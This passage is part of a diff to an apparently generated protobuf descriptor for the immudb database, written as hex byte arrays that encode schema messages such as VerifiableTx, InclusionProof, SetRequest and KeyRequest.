0x6d, 0x65, 0x74, - 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x05, - 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x85, 0x01, 0x0a, 0x0a, - 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, - 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x64, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x64, 0x12, 0x39, 0x0a, 0x0a, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, - 0x22, 0x0a, 0x0c, 0x6e, 0x6f, 0x6e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x61, 0x62, 0x6c, 0x65, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x6e, 0x6f, 0x6e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x61, - 0x62, 0x6c, 0x65, 0x22, 0x2a, 0x0a, 0x0a, 0x45, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x41, 0x74, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x41, 0x74, 0x22, - 0xa1, 0x01, 0x0a, 0x0c, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, - 0x12, 0x21, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, - 0x02, 0x74, 0x78, 0x12, 0x36, 0x0a, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x52, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x36, 0x0a, 0x09, 0x73, - 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, - 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, - 0x75, 0x72, 0x65, 0x22, 0xa5, 0x01, 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x12, 0x21, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x02, 0x74, 0x78, 0x12, 0x38, 0x0a, 0x09, 0x64, 0x75, 0x61, - 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x75, 0x61, - 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x56, 0x32, 0x52, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, - 0x6f, 0x6f, 0x66, 0x12, 0x36, 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, - 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x22, 0xc5, 0x01, 0x0a, 0x0f, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, - 0x2a, 0x0a, 0x05, 0x65, 0x6e, 0x74, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x52, 0x05, 0x65, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0c, 0x76, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0xce, 0x01, 0x0a, 0x02, 0x54, 0x78, 0x12, 0x2f, 0x0a, + 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, + 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x30, + 0x0a, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, + 0x12, 0x32, 0x0a, 0x09, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x03, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x6b, 0x76, 0x45, 0x6e, 0x74, + 0x72, 0x69, 0x65, 0x73, 0x12, 0x31, 0x0a, 0x08, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, + 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x7a, + 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x94, 0x01, 0x0a, 0x07, 0x54, 0x78, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, + 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x68, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x68, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x12, 0x0a, + 0x04, 0x76, 0x4c, 0x65, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, 0x76, 0x4c, 0x65, + 0x6e, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, + 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x85, + 0x01, 0x0a, 0x0a, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, + 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, + 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x12, 0x39, 0x0a, 0x0a, 0x65, 0x78, 0x70, 0x69, 0x72, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x69, + 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x6e, 0x6f, 0x6e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x61, 0x62, + 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x6e, 0x6f, 0x6e, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x61, 0x62, 0x6c, 0x65, 0x22, 0x2a, 0x0a, 0x0a, 0x45, 0x78, 0x70, 0x69, 0x72, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x41, + 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, + 0x41, 0x74, 0x22, 0xa1, 0x01, 0x0a, 0x0c, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x54, 0x78, 0x12, 0x21, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x54, 0x78, 0x52, 0x02, 0x74, 0x78, 0x12, 0x36, 0x0a, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x52, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x36, + 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, + 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x22, 0xa5, 0x01, 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x12, 0x21, 0x0a, 0x02, 0x74, 0x78, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x02, 0x74, 0x78, 0x12, 0x38, 0x0a, 0x09, + 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x56, 0x32, 0x52, 0x09, 0x64, 0x75, 0x61, + 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x36, 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, + 0x75, 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, + 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x22, 0xc5, + 0x01, 0x0a, 0x0f, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x65, 0x6e, 0x74, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x05, 0x65, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x3f, + 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, + 0x78, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, + 0x45, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, + 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, + 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, + 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0x50, 0x0a, 0x0e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, + 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x12, 0x0a, 0x04, 0x6c, 0x65, 0x61, 0x66, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, 0x6c, 0x65, 0x61, 0x66, 0x12, 0x14, 0x0a, 0x05, + 0x77, 0x69, 0x64, 0x74, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x77, 0x69, 0x64, + 0x74, 0x68, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, + 0x0c, 0x52, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x22, 0x92, 0x01, 0x0a, 0x0a, 0x53, 0x65, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x03, 0x4b, 0x56, 0x73, 0x18, 0x01, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x03, 0x4b, + 0x56, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, + 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x0c, - 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, 0x0a, 0x0e, - 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, - 0x6f, 0x6f, 0x66, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, - 0x6f, 0x6f, 0x66, 0x22, 0x50, 0x0a, 0x0e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, - 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x12, 0x0a, 0x04, 0x6c, 0x65, 0x61, 0x66, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x05, 0x52, 0x04, 0x6c, 0x65, 0x61, 0x66, 0x12, 0x14, 0x0a, 0x05, 0x77, 0x69, 0x64, - 0x74, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x77, 0x69, 0x64, 0x74, 0x68, 0x12, - 0x14, 0x0a, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x05, - 0x74, 0x65, 0x72, 0x6d, 0x73, 0x22, 0x92, 0x01, 0x0a, 0x0a, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x03, 0x4b, 0x56, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x03, 0x4b, 0x56, 0x73, 0x12, - 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, - 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, - 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, - 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x84, 0x01, 0x0a, 0x0a, 0x4b, - 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, - 0x74, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, - 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, - 0x61, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, - 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, - 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, - 0x6e, 0x22, 0x3e, 0x0a, 0x0e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, - 0x0c, 0x52, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, - 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, - 0x78, 0x22, 0x59, 0x0a, 0x11, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, + 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, + 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x84, 0x01, + 0x0a, 0x0a, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, + 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x12, + 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, + 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, + 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, + 0x57, 0x61, 0x69, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, + 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, + 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x3e, 0x0a, 0x0e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, - 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x75, 0x0a, 0x14, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x39, 0x0a, 0x0a, 0x73, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x52, 0x0a, 0x73, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, - 0x65, 0x54, 0x78, 0x22, 0x75, 0x0a, 0x14, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 